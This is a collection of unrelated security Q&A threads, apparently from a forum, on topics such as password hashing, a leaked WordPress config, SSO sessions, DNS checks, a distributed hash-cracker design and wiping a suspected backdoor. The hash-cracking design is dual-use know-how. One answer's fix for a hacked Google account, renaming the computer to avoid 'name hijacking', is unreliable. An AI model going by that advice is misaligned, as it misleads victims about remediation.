I've been in InfoSec professionally for eight years, with an interest in crypto that goes back four years earlier than that, and at this point when I review homegrown crypto code I can give two meaningful answers: "It's broken" and "It's probably broken". I don't know enough to even tentatively state that something home-grown is not broken, and that will probably be true for the rest of my career unless I decide to devote a decade of my life to this specific area of security. Crypto is hard!

There exist libraries, written by people who know more about crypto than practically anybody else alive today, that will do pretty much any cryptographic task you ask of them. There are protocols, designed by similarly-experienced people and implemented with great expertise in those libraries, that turn cryptographic primitives (like DH key exchange) into a useful cryptosystem. Even so, bugs and weaknesses in those libraries are found all the time... but at least they're fixed quickly. You will NOT do any better yourself.


Books to start the study of TCP/IP I'm 20 years old and have no knowledge in the world of information security! I'm currently studying engineering and I've recently found what work I want to do (pentesting or a career in fields like this).
So reading various sites and forums, I've decided to start to study the basics of the communication service TCP/IP.

1. Is this the right or the most convenient beginning in this field?

I know the basic things of languages like c/c++ and I'm currently studying java.

2. What book I should buy?

Reading online I found numerous books about TCP/IP, currently I'm looking to choose this :

TCP/IP Illustrated: The Protocols v. 1

but I don't know what is the most appropriate for me. (I noted that most books are "old" (1994) it's that normal? and why?)

3. Am I late to choose a career in this field?

Knowing the building blocks for whatever you are trying to secure is always a place to start. If you want to secure networks, then knowing TCP/IP is a great place to start.
TCP/IP is an old standard. The foundational books are old. The one's you've linked are in my own library, and are considered to be some of the core texts on the subject. But, you need to choose the books and the material that are right for you. Pick one and try it out.
People change careers all the time, even late in life. I know guy who started off in chemical engineering, who is now in his late 30's and is jumping into IT Sec. Age doesn't mean anything, what you can do matters.


How to secure user folders on the server from the scripts running in other user folder on the same server? I have a VPS. There is a web-application running on this VPS.
A user can log into his account, create a project (the system automatically creates a folder for this project) and then, he can create and edit PHP files via the file manager within this folder/project.
He edits those files via web-application's interface.

That is a sort of, online PHP editor, where people can create, edit and run PHP files, and then download them.

My VPS runs CentOS7 and Apache.

So the problem is, when the user tests his code and runs the files, that he has created, he can get access to the system in general and to similar folders of other users. So, this way, he can write and execute a command to list all files and directories outside his folder and see, what is happening there. Or can delete/copy/create/etc... files outside his folder. That should not be permitted. And that is a security flaw.

Also, user's scripts are ran by the "apache" user.

How is it possible to restrict his files from accessing anything, outside his directory/folder/project?

Edit

I basically need something like the shared hostings have... Where all of the users are on the same server, but cant access files of each other. On a shared hosting, you can use file manager to navigate through folders and edit php files, but those php files cant access the folders/accounts of other users on the shared hosting...

You'll need to compartmentalise where the uploaded PHP code is uploaded, for example by spinning up a docker instance for every user to serve their pages (only) and leave the management interface to only edit the code.

I know you didn't ask, but I'll leave some extra advice (feel free to ignore): allowing users to upload executable code (PHP or otherwise) is an open door to full system compromise, if it hasn't happened yet. I can't stress enough how much of a security gaping hole it is.


How can Authenticity be achieved in SMS or Text Messaging? What tools or information is needed to verify the authenticity of a SMS message... or to send one so that such authenticity is intact?

This answer describes something as a "message center", but I'm looking for a more complete description of the tools, processes, and possibly the agreements I need to set up with a telco to achieve this.

The main scenarios I'm interested include business to consumer, and consumer to business.

Depends who you are protecting yourself against.  In the most paranoid sense, SMSs are transmitted over an insecure channel (your customer's service provider is a MITM).  This means that you can't send in any special way to authenticate your SMSs.

Therefore, any true authentication has to be within the SMS itself - for example, a signature (by ECC/HMAC/etc.).  This signature will not be directly useful to humans, so you'd need special software on the receiver's device to verify the signature - and once you've got that software, you might as well consider sending the message over the internet instead.


Is it safer to compile open source code vs simply running the binary? I understand that with OpenSource software, my milage may vary based on the trust of the author and the distribution platform they use (Codeplex, Git, or private server).

Oftentimes a FOSS website will offer me a link to download the binary and another link to download the source code.

Under what conditions can I simply download the exe?  (and verify the checksum, hoping there is no rootkit etc.)
Are there times when I should I compile the binary from source?

What may help answer this question is information about well known issues where the pre-compiled EXE was infected with a virus or other malicious code. (etc.)  If you are aware of any such incident I'd appreciate that information as well.

Most of the time, it's only just barely safer, and sometimes it's less safe.

  Under what conditions can I simply download the exe(cutable?)

Signed packages from major distributions are built on the Distribution's build servers. In that regard, it's almost certainly best to use the packaging system.

  Are there times when I should I compile the binary from source?

Generally, a source control repository such as git makes for a non-reputable history that can be observed as opposed to the binary output which could be separately altered. In that regard, source code is safer, but only if you're actually reviewing it. It is possible for malicious binaries to be put in place, or to have the packaging developer's system compromised with a malicious compiler, but recorded instances of the former are rare, and the latter all but unheard of.

Compiling can expose you to unknown bugs as well. If you use different compiler options, you might introduce a bug that isn't seen in the regularly distributed binary. There are plenty of cases of machine-dependent flaws or changes in behavior due to different compiler flags. In that regard, compiling from source could be less safe.

The ultimate answer here comes down to how much you feel it's worth in the form of time you're willing to spend to verify the source of the binary or source code.


Why would my SSO information be cached on my iphone? I develop a lot of internal applications/websites for my work using our standard SSO.  It uses SAML2 and has a few different levels of security available.

We have vendor who is using it for one of our internal CMSs.  Basically you have to sign into SSO every day to access the site.  You are just required to meet SSO authentication once per browser for almost all of the internal sites (the highest level ones require new authentication every time).  The vendor/CMS is not at this level though, it just has basic SSO authentication.

So I make some config changes to vendor site and propagate them over the weekend.  I need to check the changes on a bunch of different browsers.  FF, Chrome, IE8, IE11, Safari, Android, Blackberry, Iphone...

I had to log into SSO each time... Until I try my iphone.   I go to website and no redirect to SSO, I just get right in.  I hadn't logged into the site on iphone in over a week.  How could the iphone be passing back an authenticated cookie to the SSO?

SSO architecture has layers to it, we can usually break these out into two main components:
- The Identity Provider (IdP) sessions.
- The Service Provider (SP) session.

Each of these sessions will usually be preserved in the browser as a cookie, as you state above. The IdP session is usually the "key" to SSO, and has a set expiration date. However, in some architectures the SP issues its own session after a successful assertion from the Identity Provider. This SP session can be independent of the IdP session, and the SP may not check with the IdP for staleness of the session.

So, I don't think you have an actual SSO session. I believe you have a session with this specific SP you were testing against. If you clear your iPhone history/cookies/cache completely, this should certainly not work. The root cause is likely that the SP does not expire sessions, and the issued session is long lived and sitting in the iPhone browser cookie jar. I suspect your other browsers have cleared the session when closing the browser.


Two factor authentication turned on for my Google account (Phone) - but still hacked I just got a message today that someone changed my password on my Google account.

The email seems legit, and Google confirmed there was a login from Ukraine two weeks ago in recent activity.

The password change that happened today occurred in a city in the country I live (Netherlands).

I have two factor authentication turned on - how is this even possible?

This is the view in Google "Your Devices" of the device that changed my password:

There is a malware which is spreading nowadays that clone the ID of chrome, so an attacker can access any site/s thanks to cookie sessions saved on that chrome. The technique is very sophisticated and 2FA it's useless here because they're already logged in with your cloned browser id and nothing require to be checked. So most probably, if you're a google chrome user, you could have been affected by this kind of attack. If this is your case, the solution will be as follow:

  ·LogOut your google account from the infected machine (of course, run
  Malwarebytes or any other kink of anti-malware to delete the virus)

  ·Uninstall google chrome and/or any kind of chromium-based browser(and
  all of its related data)

  ·Now you need to change the name of your computer (so the new session
  will have a different name avoiding name hijacking
  https://kb.iu.edu/d/ajnx)

  ·From a different device change the password of your google account

  ·In 2FA google settings revoke all authorized devices

  ·Reboot your pc and reinstall chrome.

You should be done.


Using Apple NSKeyedArchiver class without encryption to save score data locally first of all I'm sorry for my bad English!

I have a question about the security of NSKeyedArchiver, a subclass of NSCoder of Apple Foundation.framework (https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/Foundation/Classes/NSKeyedArchiver_Class/Reference/Reference.html)

In my Apps, for management of the Apple Leaderboard I used ABGameKitHelper by Alexander Blunck (https://github.com/ablfx/ABGameKitHelper). I have notice that this helper uses AES encryption to save scores in local when the Apple Leaderboard is not accessible (for example there's no network, etc) with the NSKeyedArchiver class.

So, my question: is there a real possibility that an attacker can decode the data written without encryption using NSKeyedArchiver, and understand the key-value pairs? And also modify the score data, reconnect to the network and waiting for automatic Leaderboard update from ABGameKitHelper?

Thanks in advance,
Alesanco

Any NSKeyedArchiver object can be unarchived by anyone if it is not encrypted, since it does not encrypt anything by itself. All NSKeyedArchiver does is, from the Documentation:

  NSKeyedArchiver, a concrete subclass of NSCoder, provides a way to encode objects (and scalar values) into an architecture-independent format that can be stored in a file. When you archive a set of objects, the class information and instance variables for each object are written to the archive. NSKeyedArchiver’s companion class, NSKeyedUnarchiver, decodes the data in an archive and creates a set of objects equivalent to the original set.

So, in other words, it creates a structure where each object's content is stored with an identification of its original Class, so the original object can be decoded later. Think of it as a kind of binary XML.

What I recommend you to do is take the NSData created by [NSKeyedArchiver archivedDataWithRootObject:(id)rootObject] and encrypt it using any method you prefer. If data is really secret I recommend using AES256 or Blowfish. When you need to use it, decrypt the data first and then put it in [NSKeyedUnarchiver unarchiveObjectWithData:(NSData *)data].


What security risk does it mean if you have your db password and security token publicity available? In Germany everyone is worried about a prominent political party that exposes their wp-config to the public:

https://www.a***********r.de/wp-config.php

How much of a security risk is that? The db, for example, is only reachable from a local ip.

What information can an attacker actually use and how high is the risk?

Content of the file:

define('DB_NAME',   'afd-web-wp-dev');
define('DB_USER',   'afd-web-dev');
define('DB_PASSWORD',   'm*******d'); //redacted for privacy
define('DB_HOST',   '10.*.*.*'); //redacted for privacy

define('AUTH_KEY',         'put your unique phrase here');
define('SECURE_AUTH_KEY',  'put your unique phrase here');
define('LOGGED_IN_KEY',    'put your unique phrase here');
define('NONCE_KEY',        'put your unique phrase here');
define('AUTH_SALT',        'put your unique phrase here');
define('SECURE_AUTH_SALT', 'put your unique phrase here');
define('LOGGED_IN_SALT',   'put your unique phrase here');
define('NONCE_SALT',       'put your unique phrase here');

$table_prefix  = 'e******y_'; //redacted for privacy

define('WPLANG', 'de_DE');

define('WP_DEBUG', false);

require_once(ABSPATH . 'wp-settings.php');

It is an information disclosure that weakens the overall security of the website. By itself, I would rate this vulnerability as medium risk but an overall analysis is required in order to determine how this affects the overall security.

The database password could be reused in a different location, it can hint on how other passwords are built and what character sets are used. Maybe the database is accessible in case the website shares hosting with other websites. The table_prefix parameter can prevent exploitation in case there is a vulnerability in the website that allows SQL injection. With the information in table_prefix public, such protection is no longer provided.

It is also visible that the WordPress security keys are not initialized. WordPress Security Keys are a set of random variables that improve encryption strength of information stored in the user’s cookies. These security keys makes it harder for an attacker to crack a WordPress password.


Trying to understand password hashing I am trying to get a grasp of password hashing. Back in the days it seemed so simple, just MD5(password + salt) and you are done. Then md5 was proven to have collisions so people started moving to SHA1 and so on.

Then we started talking about having to create slowness so we implemented many iterations of our hash algorithm in order to make the hash checking slow enough.

What I am trying to understand is:

Why can't SHA512 be used in a password algorithm if we iterate it enough to create it slow? Example is to SHA512 the password 100k times.
Why is PBKDF2 or bcrypt recommended instead of doing the above? Or why is it not?

This answer states that it is "not for hashing a password for safe storage for authentication purposes". However this answer (with many upvotes) recommends the opposite (?); that you should use pbkdf2/bcrypt/scrypt for safely storing passwords.
If a PBKDF2 function relies on SHA1 underneath, is it inherently insecure if SHA1 can be proven broken? (RFC2898 .NET implementation)

Hopefully if someone can answer the above questions I will understand why a simple hash algorithm (provided slowness) is not enough, and also why we need all this seemingly complex key derivative functions in order to do a simple password storage.

Then md5 was proven to have collisions so people started moving to SHA1 and so on.

Note that collision resistance is not required for password hashing. Still there is no reason to use a weaker than necessary hash.

  Why can't SHA512 be used in a password algorithm if we iterate it enough to create it slow? Example is to SHA512 the password 100k times.

You can do that. As long as you mix password and salt already at the beginning it should be secure.

We don't recommend that, because there is no reason to invent your own scheme, when there are plenty of standard schemes.

  Why is PBKDF2 or bcrypt recommended instead of doing the above? Or why is it not?

Because they're standardized and have been looked at by many cryptographers. So you can be more confident that there are no weaknesses in the scheme than with your ad-hoc scheme.

PBKDF2 is essentially an iterated hash function, which uses HMAC to mix the password and salt.

bcrypt is a different construction. It's slightly harder to break that PBKDF2, since it requires a bit more memory(a few kB), increasing the number of required gates a bit.

There is also a scheme called scrypt which has a tunable memory parameter, allowing you to have the scheme consume significant amounts of memory(several megabytes or more). This prevents special hardware to be much more efficient than standard hardware, since they still need to buy lots of RAM.
scrypt is probably the strongest of these schemes. But it's relatively new, and uses uncommon primitives, so many users still choose older schemes.

  This answer states that it is "not for hashing a password for safe storage for authentication purposes". However this answer (with many upvotes) recommends the opposite

That question is about an explicit NIST recommendation for PBKDF2 with password hashing. There is only a recommendation to use PBKDF2 for password based key derivation, a closely related technique. The absence of a NIST recommendation does not imply that the scheme is bad.

  If a PBKDF2 function relies on SHA1 underneath, is it inherently insecure if SHA1 can be proven broken?

If there is a first pre-image attack against SHA1, that works under certain constraints, then yes, PBKDF2 with SHA1 is broken. A collision attack on the other hand is not enough. A first pre-image attack is typically much harder than a collision attack. For example we don't even know one against MD5.


Is a server infrastructure fundamentally possible which the smartest person can't breach? TL;DR:

Perhaps I've gone overboard with my question's detail, but I wanted to be sure the question was clear since the topic seems very broad. But here it is. The word "smartest" is meant fundamentally, not literally.

Is a server infrastructure fundamentally possible which the smartest person can't breach?

Background:

I've read articles about the servers of massive banks (or cheating sites) being compromised, and in one article based on an interview with an internet security company interested in the case, a specialist claimed that there are highly skilled criminal organizations especially in China and Russia which have vast resources, tools, and some of the "best" hackers in the world at their disposal, and this specialist claimed that there was "no system on earth" (connected to the web, of course) which they couldn't compromise with the resources available to them.

(Web-Server) Information Security is Like Chess:

I'm not much of a Chess player, and I'm not much of an Info Sec. expert, but I am a programmer who writes server software, and I'm interested in this. Disregarding any factors of Chess that might null my scenario, such as maybe the person who moves first has an advantage or something of the sort, imagine Information Security as being a game of Chess between two of the best Chess players in the world.

Classic: If you and I were to play a game of Chess, the one which possesses greater skill, knowledge, and intelligence regarding the game of Chess will win.

Programmed Scenario 1: Or perhaps, if we play the game digitally, the one of us who writes the smartest chess-playing software will win.

Programmed Scenario 2: Or, and here's the key, perhaps it's possible for us to both be so good at both Chess and programming that we both write Chess-playing computer programs so good that neither of our programs can win, and the game ends in a stalemate.

Consider a server infrastructure, for example a banking server, or application server which must communicate with clients on the web, but which must not allow criminal parties to break into its data stores.

The security of this server infrastructure could either be like Programmed Scenario 1, meaning no matter what, whoever has the best software and knowledge of Information Security, the people who invent the security strategies for example, will always have a chance to break through a server infrastructure's defense, no matter how secure. No perfect defense is fundamentally possible.
Or it could be like Programmed Scenario 2, where it's fundamentally possible to develop a server infrastructure which uses a security strategy that (fundamentally) cannot be bested by a smarter program. A perfect defense is fundamentally possible.

The Question

So which one is it?

"No perfect defense is fundamentally possible."

In chess, you have 64 squares, 2 people playing, and one set of immutable, commonly known rules.

In server infrastructures, there are an untold number of assets and ways to approach those assets, an unknown number of people playing, and rules that change constantly with players purposely seeking to bend, break, or bypass the rules.

Consider 2 elements that will prove my point: zero days and chocolate bars.

Firstly, zero days change the rules while the game is being played. While one side gains the benefit of this element, the other side is unaware of the advantage and is possibly still unable to counter these attacks, even if they are eventually known. Each zero day is a new rule that is unevenly applied to the game. Even if a "perfected security strategy" can be devised and perfectly applied, zero days can mean that the strategy is built upon unknown weaknesses that might never be known to the defending side.

Secondly, chocolate bars can do more to break the security of an infrastructure than any other element. What I mean is that people can be bribed or enticed to "switch sides" and grant advantage to the opposing side, sometimes for something as small as a chocolate bar (studies show). Phishing, bribes, data leakage, etc. are all part of the human side of the game that technology cannot account for entirely. As long as there is a human with power in the infrastructure, there will always exist that weakness to the system.

What to do?

In history, we see multiple situations where a massive attempt at defence was defeated by something small and unforeseen (e.g. the Great Wall of China's gates opened to a concubine who was a double agent for the Mongols). The goal, as defenders, is not to mount the perfect defence, but rather to design a resilient and transparent infrastructure where attacks can be seen quickly and responded to completely. Not taller walls, but more alert militia. Not unshakable foundations but a replaceable architecture.


What features boost security for a home edge router? I want to hide my home network behind a router and not worry about firewalls on internet-facing devices. Furthermore, one PC is going to be hosting some services, so I guess I need port forwarding as well. It would be also nice if this PC is somewhat detached from the LAN, so that if a breach is successful upon it, only the server is compromised, and not my home LAN.

What features do I need to look for in a router, in order to achieve the above? Please also link to tutorials how to do it e.g. firewall configuration.

You would look for a network setup that includes a "DMZ" (demilitarized zone) or service network.  This network is accessible from the external network (i.e the Internet), but it cannot "jump" to your secured, internal network.

Basically, your internal network can access the Internet and your DMZ server.
The Internet can only reach your DMZ server.
(Not counting response packets)

It really depends on your router's software how you configure it, a good generic writeup could be found at Wikipedia's page about DMZ's: https://en.wikipedia.org/wiki/DMZ_(computing)


SJCL : convert ascii to a BitArray & compute random numbers I am using the Stanford Javascript Crypto library and i'd like more information about it.

1.) I have an ASCII text and a random 128-bit key. I want to concat those two things, so I convert the ASCII text into hex and then to a BitArray.
Example : var text="kheil" ; var textHex=asc2hex(text);var textBitArray= sjcl.codec.hex.toBits(textHex);
I get the following BitArray : 1802003817,8797904961536.
What is worrying me is the last number, why is it longer ? It's more than a 32-bit number. With some ASCII text, it's fine I get a BitArray with 32-bit numbers but with some others I get this kind of suff, is it normal ? And If I concat it with a random number : -96822511,1783357814,2009621896,-1425360948, I get : 1802003817,1828338331,292178913,1987561573,-2002056521,8795220606976 which is not a good concatenation no ? My guess is that the text is not a multiple of 32-bits, but how to get a good BitArray for any text ?

2.) Also to compute a random 128-bit key I use sjcl.random.randomWord(4,0), is it an efficient function to compute a random key ? I read somewhere that I should not use 0 as paranoia, or it's necessary to call startCollector() to get entropy. I am bit confuse about that, could any one explain that to me ?

Thank you !

Without looking at the exact numbers, let me give some pointers as to why this is happening:

According to the docs, sometimes it will use some extra bits to store additional information (namely, the actual number of bytes):

  Most of our crypto primitives operate on arrays of 4-byte words internally, but many of them can take arguments that are not a multiple of 4 bytes. This library encodes arrays of bits (whose size need not be a multiple of 8 bits) as arrays of 32-bit words. The bits are packed, big-endian, into an array of words, 32 bits at a time. Since the words are double-precision floating point numbers, they fit some extra data. We use this (in a private, possibly-changing manner) to encode the number of bits actually present in the last word of the array.

  Because bitwise ops clear this out-of-band data, these arrays can be passed to ciphers like AES which want arrays of words.

That probably accounts for the the extra bit that's being appended, and also explains why concatenating two BitArrays will not simply concatenate the word arrays, as you seem to be expecting. If the first one had actually a multiple of 4 bytes, then yes, that's what would happen.
If I remember correctly, SJCL will try to use the crypto functionality of modern browsers to create its random number generator, falling back to a custom made one (which uses mouse movement, keystrokes, etc to generate additional entropy to be combined with a [non-cryptographic] PRNG). That means in modern browser it's unimportant whether you set the paranoia or not. On older browsers (or ones that does not support crypto) then you really must put the collectors to work if you plan to use algorithms that depend on a CSPRNG. I'd help you more, but I've never used that functionality myself, so I can only direct you to the docs.

P.S. US-ASCII is a subset of UTF-8, so you don't need to convert to Hex first and then to a BitArray. Just use sjcl.codec.utf8String.toBits(str). (on second thought, how do you know your text is really ASCII? SJCL [normally] runs in a browser... Better be safe, and make your code Unicode-compliant)


Why do browsers have no built-in features to verify the integrity of downloads? I just started a download of a large file. Checksums were placed prominently on the download page. But I just realized that I actually never made use of any of the checksums provided for download integrity verification.

What are the reasons browsers do not provide such a feature from a security perspective?

Many browser do show some sort of popup when the download starts. So it would make sense there to have an option to enable verification.

Because it's not needed.

All protocols which are commonly used to download files either have a buildin mechanism to ensure integrity of the data stream or rely on a lower-level protocol (like TCP) to provide this. This is a reliable precation against accidental corruption of files in transfer.

When it comes to intentional corruption of files by a man-in-the-middle: Any attacker which can modify the data-stream of the download itself can very likely also modify the data-stream which is used to transfer the checksum, so it would not be an efficient security precation.

Such checksums only make sense when the website which advertises the file and the website which hosts the file are under control of different entities, like when you outsource your downloadable files to a 3rd party filehoster. But to automatize this, we would need a protocol which gives one server the authority to tell which files on another server are authentic. Such a protocol would have plenty of abuse potential.


Is there an encryption algorithm that is fully secure? Is there an encryption algorithm that is completely secure and isn't based on difficult computational algorithms?

If such an algorithm exists, why we don't we use it in SSL/SSH?

Yes, it's called One Time Pad, and we don't use it in SSL/TLS because key-exchange is problematic at scale.
I will point out that with the rapid decline in the price of various types of storage, One Time Pad's use for smaller communications such as e-mails is more practical now than it ever has been simply because the cost of giving someone something like a large USB Flash Drive with a large "pad" on it didn't exist in a practical sense a few years ago. Still, as the price approaches zero, this becomes trivial to do. As storage costs continue to approach zero, this could become more useful for a wide variety of uses in the future, but the key-exchange problem will still exist.


VPN and Firefox proxy What happens if I use VPN and then configure my firefox browser to use SOCKS proxy? Am I then behind both or just proxy?

Firefox tries to connect to the SOCKS proxy server normally, but your operating system is routing all the traffic through the VPN server. So what happens simply is:

  Browser -> VPN Server -> SOCKS Server -> Destination server

So, yes. You're behind both of them.


Implementing brute force attacks on hash values in Javascript I'm working for my bachelor thesis at the end of which I aim to implement a proof-of-concept Javascript-based hash cracker. The idea is to work like this: Users can submit a hash value along with information about the used algorithm. (Other) users can also click on a button on the website in order to participate in the cracking process. The server's task is to accept and split the submitted 'orders' into ranges, depending on the number of available workers. The ranges are then sent to the clients who clicked said button.

I am currently stuck with the big question of how to actually implement this brute force function.
So my main problem now is that, frankly, I'm not really that settled in Javascript yet. For starters, I would just use a hardcoded character set: alpha-numeric, lower and upper case, no special characters. Problem is I honestly have absolutely NO clue of how to actually implement the function that would try out al the character combinations, on how to program that. I can imagine using a normal array containing the charset, then two strings. One string would contain the range, the other will contain the tried combinations. So I would somehow have to iterate through the charset array and the strings maybe with cascaded for-loops or something, but I'm really stuck with the question of 'how' exactly :). I don't expect any of you to actually provide me with the full source code for such a function (unless you want to of course), but I'd really appreciate some hints or explanations on how to implement such a brute force function. I'd also not bother about performance or optimized coding at this point, but rather about comprehensive coding, or whatever you might want to call it.

First define the space of potential passwords. Then number them sequentially.

For instance, suppose that you define the possible passwords as "sequences of eight letters and digits". This is an alphabet of 62 signs (26 lowercase letters, 26 uppercase letters, 10 digits). So there are 628 = 218340105584896 passwords to try. Passwords are easily mapped to integers in the 0..218340105584895 range by considering the passwords to be a base-62 representation (i.e. 'a' is 0, 'b' is 1,... 'z' is 25, 'A' is 26,... 'Z' is 51, '0' is 52... and '9' is 61). Now that the potential passwords are just integers in a consecutive sequence, it is easy to distribute ranges.

Of course, performance of hash function implemented in Javascript will be very disappointing. A single PC with a good GPU can try more MD5 passwords than 1000 clients who use Javascript. You might want to make versions which use Java and/or .NET (Silverlight): these programming languages have much more muscle (not quite as good as C, but at least in the same magnitude order).

Edit: from your comment, I understand that you also wish to keep the target hash somewhat private, and not send it to the cracking machines. This forces the cracking machines to send back all their hashes (or part thereof) to the server, and you will have a bandwidth problem. Each cracking machine could send back, say, only the first two bytes of each computed hash; the server then knows which password candidates match the target hash on the first two bytes. This would reduce the problem by a factor 65536, and then the server can finish the work itself (retesting the matching candidates on its own CPU). However, with a 10 MBytes/s incoming bandwidth, you would be able to receive only about 5 millions hashes per second, and if you target a "simple" hash (like a single iteration of MD5), then this is very poor performance (the server alone, on its own CPU, can test many more passwords per second). This would be a valid scheme for a slow hash (like bcrypt) where each cracking machine will be able to compute a hundred hashes per second at most (but then, you really do not want to use Javascript...).


Problems with intermediate SSL certificates and SSL proxy I'm currently implementing a SSL-proxy, and have run into some problems regarding certificates.

We have a offline "Company Root CA", and an online "Company intermediate CA".
On the proxy I have generated a "proxy intermediate CA", which again has been signed by our "Company intermediate CA".

All browsers trust both our root CA and our issuing CA.

When I go to a SSL site through the proxy, I get a certificate warning. When studying the certificate chain in the browser I see:

Proxy intermediate certificate

"fake" site certificate

If I import the Proxy intermediate CA into my certificate store, everything works fine. The certificate chain then looks like this when going to the site:

Company Root CA

Company intermediate CA

Proxy intermediate CA

"fake" site certificate

Why don't the browsers trust certificates issued by the proxy intermediate CA?

The browser can use only the certificate that it knows of. In the case of SSL server certificates, there are three methods by which the browser will obtain the certificates needed to build a chain from a root that the browser trusts, down to the certificate to validate (in your case, the "fake"):

The browser may have a local copy of the certificates (in a store named "intermediate CA" or something like that).
The browser may follow the URL found in certificates themselves. A certificate may have an Authority Information Access extension, which may point (with a URL) to a place where may be found the certificate for the issuer of the certificate which contains the extension.
A SSL server is supposed to send its certificate as part of a fully grown chain.

The automatic download works only as long as the URL are present in the certificates, and the corresponding servers are reachable; moreover, to prevent nasty chicken-and-egg issues, the said URL shall be HTTP, not HTTPS. Not all browsers will do this download, though. It depends on the browser and also on the operating system, and their configuration. Some browsers will refuse to use anything else than the exact chain sent by the server.

So my guess is that your proxy, which acts as a SSL server, does not send a complete chain. It sends the "fake" certificate, and the "proxy intermediate CA", but not the "company intermediate CA". Thus, the browser lacks this last certificate and cannot build a complete chain.

To verify this, use OpenSSL (the command-line tool):

openssl s_client -connect www.aservername.com:443

This will print (among other information) the subject and issuer names for all certificates in the chain as sent by the server.

Alternatively, run some network monitor tool (e.g. Wireshark) to see the SSL Certificate message from the server, which contains the certificate chain from the server.


How dangerous is it that there are DNS entries for our domain that we did not register? I was performing an DNS brute-force on our company's domain and found entries like "html" "ww" and "wwww" resolving to IPs outside of our registered block.

This sparked a debate about just how dangerous this would really be to let those entries exist. It would seem that someone could redirect users of our site to a credential harvesting site for instance using a look-a-like website and URL, but those I was trying to convince did not seem to agree.

What is the real danger here?

This is very dangerous. If someone has control over your DNS they can, for example, steal all your email or your web traffic.

First, do you operate your own DNS servers, or are they hosted (e.g. at a hosting provider or at your registrar)?

Hosted:

Check the control panel for these extra entries. They may be prepopulated to point to the host's servers.
If your hosting provider supports it, export your zone file and look for these entries. (For the odd case where they don't show up in the control panel, but are still in the zone.)
After you follow the steps below to ensure that the entries are coming from your host's DNS server, call your hosting provider and ask about these entries.
After you figure out where/why the entries are there, you can decide to leave them, remove them, and/or switch hosting providers.

Self-operated:

Manually inspect your zone file to see if the entries are there.

Do a reverse lookup on the IPs that those bogus entries are resolving to:

host 10.1.2.3
Does the name you get back make sense -- e.g. is it your hosting provider or some other related party?
If the lookup doesn't give you a name, look up the owner of the netblock to see if that gives you any clues:
whois 10.1.2.3

Check if the entries are coming from your DNS server by looking up one of the bogus entries:

dig ww.mycompany.dom @ns1.mycompany.dom

Check if the entries are coming from your secondary DNS (and/or tertiary, etc):

dig ww.mycompany.dom @ns2.mycompany.dom

If the entries aren't in one of your DNS servers, try to figure out where they are coming from. This command will give you a trace of the lookup starting at the root servers and going down to your domain:

dig +trace ww.mycompany.dom

If the trace doesn't show the entry, then it's possible you are using a DNS service (e.g. opendns) that "steals" bogus hostnames to redirect them to their servers. (Certain DNS servers will always return an IP for any lookup, even if there is no host registered to that address; the IP returned points to their server. For example, if I do dig bogusboguszzzzx.net @208.67.222.222 I get back 67.215.65.132, which reverses to hit-nxdomain.opendns.com.)

Don't use this kind of service for testing! (I think it's a bad idea in general because it breaks DNS, but YMMV...)


Which stream ciphers are supported in am335x cryptographic accelerator? I want to use cryptographic accelerator in aes cfb mode [or any other stream cipher]. According to http://e2e.ti.com/support/arm/sitara_arm/f/791/p/156983/658334 link cfb is supported in am335x. I used EVP_aec_256_cfb cipher in both command line and C program.  In command line it executed in default software implementation. In C program the context initialization could not be done. So is cfb mode or any other stream cipher supported in am335x crypto accelerator? Or any problem in cryptodev.ko module?

After all researches I came to know that only CBC, ECB and CTR are supported in the latest linux versions. The driver for OMAP HW accelerator is built properly for CBC mode. In the case of CTR mode it should accept any length of data either for encryption or decryption. But in the case of hardware accelerator it expects data in the multiple of 16 for CTR mode also.

So one thing I can conclude is that the OMAP HW accelerator in am335x properly supports CBC mode only. Except for the data length issue mentioned above, CTR mode is also fine.


Step by step protocol for complete system wipe (suspecting persistent backdoor) I have reason to believe that there is a persistent backdoor on my device, one which is not removed after a re installation of the OS.
I wanted to know the step by step protocol of system wipe to remove any potential back doors.
It's possible that the installation media -- live USB is re-infecting my machine when I boot from it, but I want to know the step by step protocol to remove any potential malware.
How do I completely return to factory conditions. Fresh bootloader, kernel, and OS.
OS: Ubuntu 20.04

There is no one-size-fits-all protocol for this. It really depends on what kind of adversary you believe you are dealing with.
Either way, the first step is the same: don't panic, take a deep breath, and thoroughly consider your threat model, your options and goals. Do you really want to wipe the device? This can potentially destroy evidence that may be relevant in a future investigation. If you can afford it, you may want to isolate the device and have a professional perform forensics on your device to figure out what kind of backdoor you have and to preserve any evidence.
If this is not viable, the next question would be how thorough you want to be. There are more places than initially obvious where a backdoor can persist, although the more sophisticated ones are rather uncommon. This is where considering your threat model is really important. What kind of sophistication are you expecting? Is this some run-off-the-mill bootkit malware or are you facing a state-level actor (most people aren't the target of TAO attacks or the like, and if you think you are, but then there may be better places to get advice ;).
So let's go through some of the places where a backdoor might be installed, from least to most sophisticated (or well, likely to less likely):

Somewhere on your operating system, i.e. on your HD / SSD. This would be destroyed through a reinstallation of your OS. While you claim that a reinstallation does not remove your backdoor, it is still prudent to reinstall the operating system, as a more sophisticated backdoor may persist here too.
The boot loader. This depends a bit on whether you are using UEFI or a CSM / legacy BIOS bootloader. In both cases, the boot loader is stored on your disk, but it could either be inside the EFI system partition or in the first few sectors of the disk (MBR). In either case, it could be removed by completely wiping the disk.
The BIOS / UEFI state, e.g. in UEFI variables or BIOS configuration. In either case, this is stored in a small flash chip or EEPROM on your mainboard. How this is completely cleared depends on your hardware - this could be as easy as removing a CMOS battery or could require clipping a cable to a chip on your mainboard.
The BIOS / UEFI firmware, ME or other CPU / Mainboard firmware. Whether this can get cleared by a firmware reflash depends on the device - if you can't trust your computer to power up though, the only safe bet may be to connect a programming cable to the respective flash chips.
Other peripheral firmware, e.g. the hard-drive or SSD controllers or network card firmware. Many peripherals have small CPUs on them that can be reprogrammed, and whether or how these can be restored again depends on your device. PCI devices can have so-called boot ROMs that get executed on the main CPU prior to system boot, and could backdoor later boot stages. How these get programmed again depends on the device in question.
Potential hardware modifications - these may be very hard to spot and difficult to get rid of.

When wiping the disk, consider that you may not want to do this using the possibly compromised device. You may want to remove the disk, and attach it to a second computer without mounting it, and then overwriting it e.g. using dd. If your device is an SSD with Secure Erase capabilities, you can also use those. This should remove any persistent malware on the disk, but not necessarily more sophisticated backdoors on the disk controller or other firmware.
Finally, the most paranoid option is to consider the device burned, power it off and don't use it anymore - although this is probably not within everyday joe's threat model.


What are the go-to books on server security? To learn how to keep things secured, and to do a good job at it, what books should one check out?

